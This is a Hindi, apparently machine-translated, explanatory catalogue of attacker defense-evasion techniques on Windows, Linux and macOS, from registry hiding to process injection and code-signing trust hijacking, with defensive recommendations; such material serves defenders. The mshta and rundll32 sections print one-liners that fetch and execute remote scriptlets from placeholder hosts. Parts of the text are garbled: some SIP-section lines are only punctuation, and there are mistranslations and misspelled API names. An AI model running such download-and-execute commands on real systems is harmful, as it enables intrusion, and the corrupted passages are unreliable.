रजिस्ट्री के कुछ क्षेत्रों तक पहुंच खाते की अनुमति पर निर्भर करती है। बिल्ट-इन Reg उपयोगिता का उपयोग स्थानीय और दूरस्थ रजिस्ट्री संशोधन दोनों के लिए किया जा सकता है। अन्य दूरस्थ एक्सेस टूल जो विंडोज़ एपीआई के माध्यम से रजिस्ट्री के साथ बातचीत करते हैं, उनका उपयोग किया जा सकता है।

रजिस्ट्री में परिवर्तन में कुंजियों को छिपाने के लिए क्रियाएं शामिल हो सकती हैं, उदाहरण के लिए, एक अशक्त चरित्र से नाम के साथ चाबियाँ जोड़कर। रेग या एपीआई के माध्यम से इस तरह की एक कुंजी को पढ़ने से एक त्रुटि होगी या इसे अनदेखा किया जाएगा। हमलावर सिस्टम में समेकन की प्रक्रिया में उपयोग किए गए पेलोड और आदेशों को छिपाने के लिए इस तरह के छिपे हुए छद्म कुंजियों का उपयोग कर सकते हैं।

दूरस्थ प्रणाली की रजिस्ट्री को भी बदला जा सकता है यदि दूरस्थ Regisry सेवा लक्ष्य प्रणाली पर सक्रिय है। आमतौर पर, एक हमलावर को वैध क्रेडेंशियल्स की आवश्यकता होती है, साथ ही आरपीसी का उपयोग करने के लिए विंडोज एडमिन शेयरों तक पहुंच होती है।

सुरक्षा सिफारिशें: रजिस्ट्री में अनुमतियों की गलत सेटिंग इस तथ्य को जन्म दे सकती है कि एक हमलावर मनमाना कोड ( सेवा रजिस्ट्री अनुमतियाँ कमज़ोरी ) निष्पादित कर सकता है। सुनिश्चित करें कि उपयोगकर्ता सिस्टम घटक कुंजियों को बदल नहीं सकते हैं। अनावश्यक सिस्टम उपयोगिताओं और अन्य सॉफ़्टवेयर को ब्लॉक करें जिनका उपयोग रजिस्ट्री को संशोधित करने के लिए किया जा सकता है। रजिस्ट्री ऑडिटिंग (इवेंट ID4657) को सक्षम करने पर विचार करें, लेकिन ध्यान रखें कि RegHide जैसे टूल का उपयोग करके किए गए रजिस्ट्री परिवर्तन OS इवेंट संग्रह सेवा द्वारा लॉग नहीं किए जाएंगे।

mshta

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Mshta.exe ( C: \ Windows \ System32 \ में स्थित ) एक उपयोगिता है जो Microsoft HTML अनुप्रयोगों (* .HTA) को चलाता है। HTA अनुप्रयोग उन्हीं तकनीकों का उपयोग करके चलते हैं जो InternetExplorer उपयोग करता है, लेकिन ब्राउज़र के बाहर। इस तथ्य के कारण कि Mshta ब्राउज़र सुरक्षा सेटिंग्स को दरकिनार करते हुए फ़ाइलें संसाधित करता है, हमलावर दुर्भावनापूर्ण HTA फ़ाइलों, जावास्क्रिप्ट या VBScript के निष्पादन को प्रॉक्सी करने के लिए mshta.exe का उपयोग कर सकते हैं। दुर्भावनापूर्ण फ़ाइल अंतर्निहित स्क्रिप्ट के माध्यम से लॉन्च की जा सकती है:

mshta vbscript: बंद (निष्पादित करें ("GetObject (" स्क्रिप्ट: https [:] // वेबसर्वर / पेलोड [।] sct "") "))।

या सीधे, URL पर:

mshta http [:] // वेबसर्वर / पेलोड [।] hta

सुरक्षा सिफारिशें: mshta.exe की कार्यक्षमता IE के पुराने संस्करणों से संबंधित है जो उनके जीवन चक्र के अंत तक पहुंच चुके हैं। Mshta.exe को ब्लॉक करें यदि आप इसकी कार्यक्षमता का उपयोग नहीं कर रहे हैं।

NTFS फ़ाइल विशेषताएँ

सिस्टम: विंडोज
विवरण: NTFS अनुभाग में मास्टर फ़ाइल तालिका (MFT) होती है, जो वॉल्यूम की सामग्री के बारे में डेटा संग्रहीत करती है, पंक्तियाँ फ़ाइलों के साथ मेल खाती हैं, और स्तंभ उनकी विशेषताओं के लिए, जिनमें विस्तारित विशेषताएँ (EA) - 64 kb की एक स्ट्रिंग सहित विशेषताएँ शामिल हैं वैकल्पिक धाराएँ (वैकल्पिक डेटा स्ट्रीम (ADS) - मनमाने आकार का मेटाडेटा) जिसका उपयोग किसी भी डेटा को संग्रहीत करने के लिए किया जा सकता है। हमलावर दुर्भावनापूर्ण डेटा और बाइनरी फ़ाइलों को विस्तारित विशेषताओं और फ़ाइल मेटाडेटा में संग्रहीत कर सकते हैं। यह तकनीक आपको कुछ सुरक्षा उपकरणों को बायपास करने की अनुमति देती है, जैसे कि स्थिर संकेतक-आधारित स्कैनिंग उपकरण और कुछ एंटी-वायरस उपकरण।

सुरक्षा सिफारिशें: ईए और एडीएस तक पहुंच को अवरुद्ध करना काफी जटिल और अनुचित हो सकता है और इसके अलावा, मानक ओएस कार्यक्षमता के अस्थिर संचालन के लिए नेतृत्व करता है। सॉफ़्टवेयर को शुरू करने से रोकने के लिए सुरक्षा वेक्टर को निर्देशित करें, जिसके साथ आप ईए और एडीएस में जानकारी छिपा सकते हैं।

नेटवर्क संसाधनों से कनेक्शन हटाना (नेटवर्क शेयर कनेक्शन हटाना)

सिस्टम: विंडोज
अधिकार: व्यवस्थापक, उपयोगकर्ता
विवरण: नेटवर्क फ़ोल्डर और Windows व्यवस्थापक साझा करने के लिए कनेक्शन हटाया जा सकता है यदि वे अब आवश्यक नहीं हैं। नेट एक उपयोगिता का एक उदाहरण है जिसका उपयोग नेटवर्क कनेक्शन को हटाने के लिए किया जा सकता है: शुद्ध उपयोग \ system \ share / delete । प्रतिद्वंद्वी नेटवर्क कनेक्शन को हटा सकते हैं जो घुसपैठ के निशान को साफ करने की आवश्यकता नहीं है।

सुरक्षा युक्तियाँ: Windows व्यवस्थापक शेयरों को व्यवस्थित करने के लिए सर्वोत्तम प्रथाओं का पालन करें। अनावश्यक सिस्टम उपयोगिताओं और सॉफ़्टवेयर की पहचान करें जिनका उपयोग नेटवर्क शेयरों से जुड़ने और इसके उपयोग या अवरोधन के ऑडिट के लिए किया जा सकता है।

ओफ़्फ़ुसेटेड फ़ाइलें या जानकारी

सिस्टम: विंडोज, लिनक्स, मैकओएस
विवरण: हमलावर सिस्टम में या उनके स्थानांतरण के दौरान फ़ाइलों और उनकी सामग्री को बाधित करने के लिए एन्क्रिप्शन, एन्क्रिप्शन और सभी प्रकार के तरीकों का उपयोग कर सकते हैं।
पेलोड को संग्रहीत या एन्क्रिप्ट किया जा सकता है, कभी-कभी उनके निर्वासन और बाद के लॉन्च के लिए, कुछ उपयोगकर्ता कार्रवाई की आवश्यकता होती है, उदाहरण के लिए, एक हमलावर द्वारा तैयार किए गए संग्रह को खोलने के लिए एक पासवर्ड दर्ज करना।

सादे पाठ की पंक्तियों को छिपाने के लिए, फ़ाइलों के हिस्सों को भी एन्कोड किया जा सकता है। पेलोड को अलग-अलग "सौम्य" फाइलों में विभाजित किया जा सकता है, जो जब एक पूरे के रूप में इकट्ठे होते हैं, तो दुर्भावनापूर्ण कार्यक्षमता का प्रदर्शन करते हैं।

विरोधियों को पेलोड से सीधे या कमांड लाइन इंटरफ़ेस के माध्यम से बुलाए गए आदेशों को भी बाधित कर सकता है। प्लेटफॉर्म या भाषा शब्दार्थ के लिए विशिष्ट पर्यावरण चर, उपनाम और अक्षर, हस्ताक्षर और श्वेत सूची के आधार पर मैलवेयर का पता लगाने के लिए उपयोग किए जा सकते हैं।

मोटापे के एक अन्य उदाहरण स्टेग्नोग्राफ़ी का उपयोग है - डेटा या कोड को छवियों, ऑडियो ट्रैक्स, वीडियो और टेक्स्ट फ़ाइलों में छिपाने की तकनीक।

सुरक्षा सिफारिशें: मैलवेयर विश्लेषण और पहचान उपकरण का उपयोग करें जो न केवल स्रोत कोड की जांच करते हैं, बल्कि कमांड निष्पादित करने की प्रक्रिया का विश्लेषण भी करते हैं। विंडोज 10 में, इस कार्यक्षमता को एंटीमलवेयर स्कैन इंटरफ़ेस (एएमएसआई) के रूप में प्रस्तुत किया गया है।

आदेशों में एस्केप वर्णों की उपस्थिति, जैसे ^ या ", आक्षेप के एक संकेतक के रूप में काम कर सकती है। विंडोज सिस्मोन और इवेंट आईडी 4688 ईवेंट का उपयोग करके, आप विभिन्न प्रक्रियाओं में निष्पादित आदेशों के तर्कों को देख सकते हैं।

आरंभिक एक्सेस चरण के दौरान पेलोड में उपयोग किए जाने वाले ओफ़्क्यूशन को आईडीएस सिस्टम और ईमेल सुरक्षा गेटवे का उपयोग करके नेटवर्क पर पता लगाया जा सकता है जो संलग्न फाइलों में संपीड़ित, एन्क्रिप्टेड डेटा और स्क्रिप्ट की पहचान करते हैं। एक वेबसाइट से एक एन्क्रिप्टेड कनेक्शन पर प्रेषित पेलोड की पहचान एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करके किया जा सकता है।

Plist संशोधन

प्रणाली: macOS
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: हमलावर किसी अन्य उपयोगकर्ता के संदर्भ में इसके निष्पादन के लिए अपने कोड को निर्दिष्ट करके प्लिस्ट फ़ाइलों को संशोधित कर सकते हैं। / Library / Preferences में स्थित plist संपत्ति फाइलें एलिवेटेड विशेषाधिकारों के साथ चलाई जाती हैं, और ~ / Library / Preferences की plist फाइलें उपयोगकर्ता विशेषाधिकारों के साथ चलाई जाती हैं।

सुरक्षा युक्तियाँ : प्लिस्ट फ़ाइलों को केवल पढ़ने के लिए संशोधित करके रोकें।

बंदरगाह की दस्तक

सिस्टम: लिनक्स, macOS
अधिकार: उपयोगकर्ता
विवरण: हमलावर पोर्ट नॉकिंग विधियों का उपयोग खुले बंदरगाहों को छिपाने के लिए कर सकते हैं जो वे सिस्टम से कनेक्ट करने के लिए उपयोग करते हैं।

सिक्योरिटी टिप्स : स्टेटफुल फायरवॉल का इस्तेमाल करके कुछ पोर्ट नॉकिंग विकल्पों को लागू होने से रोका जा सकता है।

प्रक्रिया डॉपेलगिंग

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: Transactional NTFS (TxF) विस्टा में पहली बार शुरू की गई एक तकनीक है जो लेनदेन का उपयोग करके फ़ाइल संचालन को सक्षम करती है। TxF में, केवल एक ट्रांजेक्शन डिस्क्रिप्टर इस समय फ़ाइल को लिख सकता है, अन्य सभी डिस्क्रिप्टर अलग-थलग हो जाएंगे और केवल उस फ़ाइल के संस्करण को पढ़ने में सक्षम होंगे जो खोलने के समय लॉक किया गया था। यदि सिस्टम या एप्लिकेशन क्रैश हो जाता है, तो TxF स्वचालित रूप से फ़ाइल में परिवर्तन वापस कर देगा। TxF अभी भी विंडोज 10 में शामिल है।

तकनीक प्रक्रिया डॉपेलगिंगिंग (जर्मन "दो-चरण संचरण", "डबल-स्ट्रोक") में अनिर्दिष्ट WinAPI कार्यों का उपयोग शामिल है और इसे 4 चरणों में लागू किया गया है:

1. लेन-देन। एनटीएफएस लेन-देन पर हमला किए गए निष्पादन योग्य का उपयोग करके बनाया जाता है, और निष्पादन योग्य का एक अस्थायी संशोधित संस्करण लेनदेन के हिस्से के रूप में बनाया जाता है।
2. लोड हो रहा है। एक साझा खंड स्मृति में बनाया गया है जिसमें निष्पादन योग्य फ़ाइल का एक संशोधित संस्करण लोड किया गया है।
3. रोलबैक। NTFS लेन-देन वापस लुढ़का हुआ है, जिसके परिणामस्वरूप मूल हमला फ़ाइल अपने मूल रूप में डिस्क पर सहेजी जाती है।
4. एनीमेशन। रैम में बने निष्पादन योग्य फ़ाइल के संशोधित संस्करण का उपयोग करके, एक प्रक्रिया बनाई जाती है और इसका निष्पादन शुरू किया जाता है।

इस प्रकार, दुर्भावनापूर्ण कोड एक वैध विश्वसनीय प्रक्रिया के संदर्भ में काम करेगा। यह देखते हुए कि हमला केवल स्मृति में होता है, क्योंकि NTFS लेनदेन पूरा नहीं हुआ है, लेकिन वापस लुढ़का हुआ है, डिस्क पर दुर्भावनापूर्ण गतिविधि का कोई निशान नहीं रहेगा।

सुरक्षा युक्तियाँ: कुछ एपीआई कॉल को ब्लॉक करने के प्रयासों के रूप में निवारक सुरक्षा उपायों के नकारात्मक दुष्प्रभाव होने की संभावना है। सुरक्षा वेक्टर को हमले की श्रृंखला के पहले चरणों में दुर्भावनापूर्ण उपकरणों के प्रक्षेपण को रोकने के लिए निर्देशित किया जाना चाहिए। Doppelganging का उपयोग सुरक्षा सुविधाओं को बायपास करने के लिए किया जा सकता है, हालांकि, संभावित खतरनाक अनुप्रयोगों को अवरुद्ध करने और श्वेतसूची का उपयोग करके सॉफ़्टवेयर के उपयोग को प्रतिबंधित करने के लिए यह एक अच्छा अभ्यास है। अटैक डिटेक्शन CreateTransaction, CreateFileTransacted, RollbackTransaction API फ़ंक्शंस, NTCreateProcessEX, NtCreateThreadEX, और API कॉल्स जैसे अनकॉम्प्यूटेड फ़ंक्शंस में मेमोरी को किसी अन्य प्रक्रिया में, जैसे WriteProcessMemory, को कॉल करने के लिए विश्लेषण करके किया जाता है।

प्रक्रिया होलिंग

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: प्रक्रिया के निष्पादन के दौरान प्रक्रिया की निष्पादन योग्य फ़ाइल की छवि को प्रतिस्थापित करके हमला किया जाता है। यह प्रक्रियाओं को इंजेक्ट करने के लिए दस बुनियादी तकनीकों में से एक है ।

सुरक्षा सुझाव: कुछ एपीआई कॉल को ब्लॉक करने के प्रयासों के रूप में निवारक सुरक्षा उपायों के नकारात्मक दुष्प्रभाव होने की संभावना है। सुरक्षा वेक्टर को हमले श्रृंखला के पहले चरणों में दुर्भावनापूर्ण टूल के प्रक्षेपण को रोकने के लिए निर्देशित किया जाना चाहिए। सुरक्षा सुविधाओं को दरकिनार करने के लिए प्रक्रिया खोखले का उपयोग किया जा सकता है, हालांकि, संभावित खतरनाक अनुप्रयोगों को अवरुद्ध करने और श्वेतसूची का उपयोग करके सॉफ़्टवेयर के उपयोग को सीमित करने के लिए यह अच्छा अभ्यास है।

एक प्रक्रिया (प्रक्रिया इंजेक्शन), दस प्रक्रिया इंजेक्शन तकनीकों में कोड इंजेक्शन

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, व्यवस्थापक, सिस्टम, रूट
विवरण: प्रक्रिया इंजेक्शन एक अलग रहने की प्रक्रिया के पते अंतरिक्ष में मनमाने कोड को निष्पादित करने की एक विधि है। किसी अन्य प्रक्रिया के संदर्भ में रनिंग कोड आपको इंजेक्शन प्रक्रिया, सिस्टम / नेटवर्क संसाधनों, और संभवतः उन्नत विशेषाधिकारों की स्मृति तक पहुंचने की अनुमति देता है। सुरक्षा साधनों द्वारा दुर्भावनापूर्ण गतिविधि का संभावित पता लगाने से बचने के लिए प्रक्रिया इंजेक्शन का भी उपयोग किया जा सकता है। प्रक्रियाओं में इंजेक्शन को लागू करने की तकनीक विभिन्न तंत्रों के दुरुपयोग पर आधारित है जो ओएस में कार्यक्रम निष्पादन की बहुपरतता सुनिश्चित करते हैं। एक प्रक्रिया में कोड को इंजेक्ट करने के लिए कुछ दृष्टिकोण निम्नलिखित हैं।

विंडोज
• DLL इंजेक्शन। वे प्रक्रिया के अंदर दुर्भावनापूर्ण DLL के लिए पथ लिखकर और फिर एक दूरस्थ थ्रेड (दूरस्थ थ्रेड - एक थ्रेड जो किसी अन्य प्रक्रिया के वर्चुअल पता स्थान में चलता है) बनाकर निष्पादित किया जाता है। दूसरे शब्दों में, मैलवेयर DLL को डिस्क पर लिखता है और फिर CreateRemoteTread जैसे फ़ंक्शन का उपयोग करता है, जो कि इंजेक्टेड प्रक्रिया में LoadLibrary फ़ंक्शन को कॉल करेगा।
• पीई-इंजेक्शन (पोर्टेबल निष्पादन योग्य इंजेक्शन) पीई-फाइलों की मेमोरी निष्पादन सुविधाओं के दुरुपयोग पर आधारित हैं, जैसे डीएलएल या एक्सई। दुर्भावनापूर्ण कोड डिस्क को किसी भी फाइल को लिखे बिना प्रक्रिया को लिखा जाता है, और फिर निष्पादन को अतिरिक्त कोड का उपयोग करके या दूरस्थ स्ट्रीम बनाकर कहा जाता है।
• थ्रेड एक्जीक्यूशन हाईजैकिंग में दुर्भावनापूर्ण कोड या DLL पथ को सीधे प्रोसेस थ्रेड में इंजेक्ट करना शामिल है। प्रक्रिया खोखले तकनीक की तरह, प्रवाह को पहले निलंबित किया जाना चाहिए।
• एक अतुल्यकालिक प्रक्रिया कॉल (APC) इंजेक्शन में इंजेक्शन एक प्रक्रिया धागे के APC कतार में दुर्भावनापूर्ण कोड एम्बेड करना शामिल है। एपीसी इंजेक्शन के तरीकों में से एक, जिसे "अर्ल बर्ड इंजेक्शन" कहा जाता है, में एक निलंबित प्रक्रिया का निर्माण शामिल है जिसमें एपीसी के माध्यम से प्रक्रिया प्रविष्टि बिंदु पर दुर्भावनापूर्ण कोड लिखा और लॉन्च किया जा सकता है। एटमबॉम्बिंग एक अन्य इंजेक्शन विकल्प है जो APC का उपयोग करके पहले वैश्विक एटम टेबल पर लिखे गए दुर्भावनापूर्ण कोड को आमंत्रित करता है।
• थ्रेड लोकल स्टोरेज (टीएलएस) इंजेक्शन इंजेक्शन में एक कोडेबल पीई फाइल के अंदर मेमोरी पॉइंटर्स को हेरफेर करने की प्रक्रिया होती है ताकि प्रक्रिया को दुर्भावनापूर्ण कोड में रीडायरेक्ट किया जा सके।

मैक और लिनक्स
• सिस्टम चर LD_RPELOAD, LD_LIBRARY_PATH (लिनक्स), DYLIB_INSERT_LIBRARIES (macOS X) या डलकन एप्लिकेशन प्रोग्रामिंग इंटरफ़ेस (एपीआई) का उपयोग लाइब्रेरी (साझा ऑब्जेक्ट) को एक प्रक्रिया में लोड करने के लिए किया जा सकता है, जिसके बदले एपीआई कॉल को इंटरसेप्ट किया जा सकता है। चलने की प्रक्रिया।
• Ptrace सिस्टम कॉल का उपयोग रनिंग प्रक्रिया से कनेक्ट करने और इसे चलाने के दौरान इसे बदलने के लिए किया जा सकता है।
• [proc / [pid] / mem प्रक्रिया मेमोरी तक पहुंच प्रदान करता है और इसका उपयोग मनमाने ढंग से डेटा पढ़ने / लिखने के लिए किया जा सकता है, हालांकि इसके कार्यान्वयन की जटिलता के कारण इस पद्धति का उपयोग शायद ही कभी किया जाता है।
• VDSO (वर्चुअल डायनेमिक शेयर्ड ऑब्जेक्ट) कैप्चर आपको linux-vdso.so से कोड स्टब्स में हेरफेर करके ELF बायनेरिज़ निष्पादित करते हुए कोड को इंजेक्ट करने की अनुमति देता है।
दुर्भावनापूर्ण प्रोग्राम आमतौर पर सिस्टम संसाधनों तक पहुंचने के लिए एक प्रक्रिया में कोड इंजेक्शन का उपयोग करते हैं, जो एक हमलावर को सिस्टम में पैर जमाने और हमले के वातावरण में अन्य परिवर्तन करने की अनुमति देता है। अधिक जटिल नमूने कई प्रक्रिया इंजेक्शन का प्रदर्शन कर सकते हैं ताकि इसका पता लगाना मुश्किल हो जाए।

सुरक्षा सिफारिशें:प्रक्रियाओं में कोड को इंजेक्ट करने के तरीके नियमित ओएस कार्यों के दुरुपयोग पर आधारित हैं, एक सीधा प्रभाव जिस पर वैध सॉफ़्टवेयर और सुरक्षा उत्पादों के अस्थिर संचालन हो सकते हैं। अवरोधन तकनीकों के उपयोग को रोकने के प्रयासों को हमले श्रृंखला के पहले चरणों पर ध्यान केंद्रित करने की आवश्यकता है। संभावित खतरनाक सॉफ़्टवेयर, जैसे AppLocker को ब्लॉक करने के लिए टूल का उपयोग करें। Ptrace में कोड इंजेक्शन के खिलाफ एक निवारक उपाय के रूप में यम का उपयोग करें, केवल विशेषाधिकार प्राप्त उपयोगकर्ताओं को ptrace के उपयोग को सीमित करना। अतिरिक्त सुरक्षा उपायों में कर्नेल सुरक्षा मॉड्यूल की तैनाती शामिल हो सकती है जो उन्नत पहुंच नियंत्रण और प्रक्रिया प्रतिबंध प्रदान करते हैं। ऐसे टूल में SELinux, grsecurity, AppArmor शामिल हैं।

निरर्थक पहुँच

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, प्रशासक, सिस्टम
विवरण:हमलावर एक साथ कई रिमोट एक्सेस टूल्स का इस्तेमाल अलग-अलग कंट्रोल प्रोटोकॉल के साथ कर सकते हैं ताकि डिटेक्शन रिस्क में विविधता लाई जा सके। इसलिए, यदि रिमोट एक्सेस टूल में से एक का पता लगाया गया है और अवरुद्ध किया गया है, लेकिन बचाव पक्ष ने सभी हमलावर उपकरणों की पहचान नहीं की है, तो हमलावर नेटवर्क के रिमोट एक्सेस को अभी भी संरक्षित किया जाएगा। हमलावर दूरस्थ रिमोट सेवाओं के वैध खातों तक पहुंच प्राप्त करने का प्रयास कर सकते हैं, जैसे कि वीपीएन, रिमोट एक्सेस के बुनियादी उपकरणों को अवरुद्ध करने के मामले में सिस्टम तक वैकल्पिक पहुंच प्राप्त करने के लिए। वेब-शेल का उपयोग करना वेब सर्वर के माध्यम से किसी नेटवर्क को दूरस्थ रूप से एक्सेस करने के तरीकों में से एक है।

सुरक्षा सिफारिशें:आपके नेटवर्क (AmmyAdmin, Radmin, RemotePC, VNC, आदि) में ज्ञात रिमोट एक्सेस टूल के लॉन्च की उपस्थिति और अवरोधन की निगरानी करें, एप्लिकेशन लॉन्च को नियंत्रित करने और संभावित खतरनाक सॉफ़्टवेयर को ब्लॉक करने के लिए टूल का उपयोग करें। IDS और IPS सिस्टम की शुरूआत, जो हस्ताक्षर का उपयोग करते हुए विशिष्ट मैलवेयर का पता लगाते हैं, एक सफल हमले की संभावना को कम कर देंगे, लेकिन समय के साथ, हमलावर हस्ताक्षर को बदलने के लिए अपने उपकरणों को संशोधित करेंगे और, परिणामस्वरूप, IDS और IPS सिस्टम को बायपास करेंगे।

Regsvcs / रेगस्म

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: Regsvcs और Regasm .NET घटक ऑब्जेक्ट मॉडल (COM) विधानसभा प्रणाली के साथ पंजीकरण करने के लिए उपयोग की जाने वाली विंडोज उपयोगिता उपयोगिताएं हैं। दोनों फाइलें डिजिटल रूप से Microsoft द्वारा हस्ताक्षरित हैं। हमलावर Regsvcs और Regasm का उपयोग प्रॉक्सी कोड निष्पादन के लिए कर सकते हैं, जब विशेषता वह कोड होता है जिसे पंजीकरण या अपंजीकृत करने से पहले चलाया जाना चाहिए: [ComRegisterFunction] या [ComUnregisterFunction]। इस तरह की विशेषताओं के साथ कोड को लॉन्च किया जा सकता है, भले ही प्रक्रिया अपर्याप्त विशेषाधिकार के साथ चलती हो या यहां तक ​​कि स्टार्टअप पर क्रैश हो।

सुरक्षा अनुशंसाएँ: यदि आपके सिस्टम या नेटवर्क पर उनका उपयोग नहीं किया गया है तो Regsvcs.exe और Regasm.exe को ब्लॉक करें।

रूटकिट

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: प्रशासक, सिस्टम, रूट
विवरण: रूटकिट ऐसे प्रोग्राम हैं जो एपीआई कॉल को इंटरसेप्ट और संशोधित करके मैलवेयर की उपस्थिति को छिपाते हैं। रूटकिट उपयोगकर्ता स्तर, ओएस कर्नेल, या उससे भी कम, हाइपरविजर, एमबीआर, या सिस्टम फर्मवेयर के स्तर पर काम कर सकता है। विरोधी प्रोग्राम, फ़ाइलों, नेटवर्क कनेक्शन, ड्राइवरों और अन्य OS घटकों की उपस्थिति को छिपाने के लिए रूटकिट्स का उपयोग करते हैं।

सुरक्षा सिफारिशें: संभावित खतरनाक सॉफ़्टवेयर को पहचानें और ब्लॉक करें जिसमें सॉफ्टवेयर व्हाइटलाइटिंग टूल, एंटीवायरस टूल या अंतर्निहित ओएस सुरक्षा टूल का उपयोग करके रूटकिट्स हो सकते हैं।

Rundll32 (Poweliks)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: गतिशील रूप से जुड़े पुस्तकालयों में स्थित कार्यक्रमों को लॉन्च करने के लिए Rundll32.exe एक सिस्टम उपयोगिता है; इसे प्रॉक्सी बाइनरी फ़ाइल कहा जा सकता है, अनिर्दिष्ट शेल 32.dll फ़ंक्शन के माध्यम से विंडोज नियंत्रण फ़ाइलों (.cpl) को निष्पादित करें। Control_RunDLL और Control_RunDLLAsUser । .Cpl फ़ाइल पर डबल-क्लिक करने से भी Rundll32.exe निष्पादित होता है। Rundll32 का उपयोग जावास्क्रिप्ट जैसे स्क्रिप्ट को निष्पादित करने के लिए भी किया जा सकता है:

rundll32.exe जावास्क्रिप्ट: "\ .. \ mshtml, RunHTMLApplication"; document.write (); GetObject ("स्क्रैप्ट: https [:] // www]] उदाहरण [।] ।] com / malicious.sct ")"

Rundll32.exe का उपयोग करने की उपरोक्त विधि को एंटीवायरस सॉफ्टवेयर द्वारा पॉवेलिक्स जैसे वायरस का पता लगाया जाता है।

सुरक्षा सिफारिशें: EMET में अटैक सर्फेस रिडक्शन (ASR) और विंडोज डिफेंडर में उन्नत थ्रेट प्रोटेक्शन, व्हाइटलाइनिंग को बायपास करने के लिए Rundll32.exe के उपयोग को रोक सकते हैं।

Windows में SIP और ट्रस्ट प्रदाता (SIP और ट्रस्ट प्रदाता अपहरण) या Subverting ट्रस्ट को कैप्चर करना

सिस्टम: विंडोज
राइट्स: एडमिनिस्ट्रेटर, सिस्टम
विवरण: हमलावर प्रोग्राम को लॉन्च करने के साधनों को नियंत्रित करने के लिए विंडोज कोड के डिजिटल हस्ताक्षर पर हस्ताक्षर और सत्यापन के लिए आर्किटेक्चर के घटकों को संशोधित कर सकते हैं जो केवल हस्ताक्षर किए गए कोड को चलाने की अनुमति देते हैं। विंडोज में विभिन्न स्वरूपों की फ़ाइलों के हस्ताक्षर बनाने, हस्ताक्षर करने और सत्यापित करने के लिए, तथाकथित विषय इंटरफ़ेस पैकेज (एसआईपी) का उपयोग किया जाता है - सॉफ्टवेयर विनिर्देश जो प्रत्येक प्रकार की फ़ाइल के लिए अद्वितीय हैं, जो एपीआई कार्यों के बीच बातचीत की अनुमति देता है जो हस्ताक्षर की रचना, गणना और सत्यापन शुरू करते हैं और सीधे फ़ाइलें। तथाकथित ट्रस्ट प्रदाता का उपयोग करके हस्ताक्षर की वैधता की पुष्टि की जाती है ।- ये OS के सॉफ्टवेयर घटक हैं जो डिजिटल हस्ताक्षर की गणना और सत्यापन से संबंधित विभिन्न प्रक्रियाओं को पूरा करते हैं।

लोकप्रिय हमले के तरीके:

• CryptSIPDllGetSignDataMsg अनुभाग में DLL और फ़नक्मी कीज़ का संशोधन : HKEY_LOCAL_MACHINE \ Microsoft \ Cryptography \ OID \ EncodingToo 0 \ CryptSIPDllGetSignDataMsg \ [SIP_GUID] । यह डीएलएल-लाइब्रेरी को बदलने के उद्देश्य से किया जाता है जो फ़ंक्शन CryptSIPDllGetSignDataMSG प्रदान करता है
  
  , . (, Microsoft ) SIP. , , , , , , , .
• DLL FuncName :
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID] .
  DLL-, CryptSIPDllVerifyIndirectData , , , , , (True/False). , c SIP. , DLL-.
• DLL FuncName :
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID] .
  DLL-, FinalPolicy Trust Provider, , . CryptSIPDllVerifyIndirectData, DLL-.

यह ध्यान रखना महत्वपूर्ण है कि डीएलएल सर्च ऑर्डर अपहरण तकनीक का उपयोग करके विंडोज ट्रस्ट तंत्र पर वर्णित हमले को लागू किया जा सकता है।

सुरक्षा सिफारिशें: सुनिश्चित करें कि संरक्षित प्रणाली के उपयोगकर्ता SIP और ट्रस्ट प्रदाता घटकों से संबंधित रजिस्ट्री कुंजियों को संशोधित नहीं कर सकते। अनावश्यक और अप्रचलित एसआईपी को हटाने पर विचार करें। दुर्भावनापूर्ण DLL के डाउनलोड को अवरुद्ध करने के लिए सभी प्रकार के साधनों का उपयोग करें, उदाहरण के लिए, जो Windows AppLocker और DeviceGuard में बनाया गया है।

स्क्रिप्टिंग (पटकथा)

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: हमलावर अपने कार्यों को स्वचालित करने के लिए स्क्रिप्ट का उपयोग कर सकते हैं, परिचालन कार्यों को गति दे सकते हैं और परिणामस्वरूप, पहुंच प्राप्त करने के लिए आवश्यक समय कम कर सकते हैं। कुछ स्क्रिप्टिंग भाषाओं का उपयोग अन्य कार्यक्रमों को कॉल करने के बजाय एपीआई स्तर पर ओएस के साथ सीधे बातचीत करके प्रक्रियाओं की निगरानी के लिए तंत्र को बायपास करने के लिए किया जा सकता है। लिपियों को कार्यालय दस्तावेजों में मैक्रोज़ के रूप में एम्बेड किया जा सकता है और फिर फ़िशिंग हमलों के लिए उपयोग किया जा सकता है। इस स्थिति में, हमलावर उपयोगकर्ता से मैक्रो फ़ाइल को चलाने की अपेक्षा करते हैं या उपयोगकर्ता मैक्रो को सक्रिय करने के लिए सहमत होता है। पटकथा को लागू करने के लिए कई लोकप्रिय ढांचे हैं - मेटास्प्लोइट, घूंघट, पावरस्प्लोइट।

सिक्योरिटी टिप्स: वीबीएसस्क्रिप्ट या पावरशेल जैसी स्क्रिप्ट तक पहुंच सीमित करें। विंडोज पर, जीपीओ के माध्यम से सुरक्षित देखने और मैक्रो निषेध को सक्षम करके एमएस ऑफिस सुरक्षा सेटिंग्स को कॉन्फ़िगर करें। यदि मैक्रोज़ की आवश्यकता होती है, तो केवल भरोसेमंद रूप से हस्ताक्षरित मैक्रोज़ को चलाने की अनुमति दें। उदाहरण के लिए, माइक्रो-सेगमेंटेशन और एप्लिकेशन वर्चुअलाइजेशन का उपयोग करें, विंडोज के लिए सैंडबॉक्स और लिनक्स के लिए एपर्मर, डॉकर।

हस्ताक्षरित बाइनरी प्रॉक्सी निष्पादन के माध्यम से प्रॉक्सी कोड निष्पादन

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
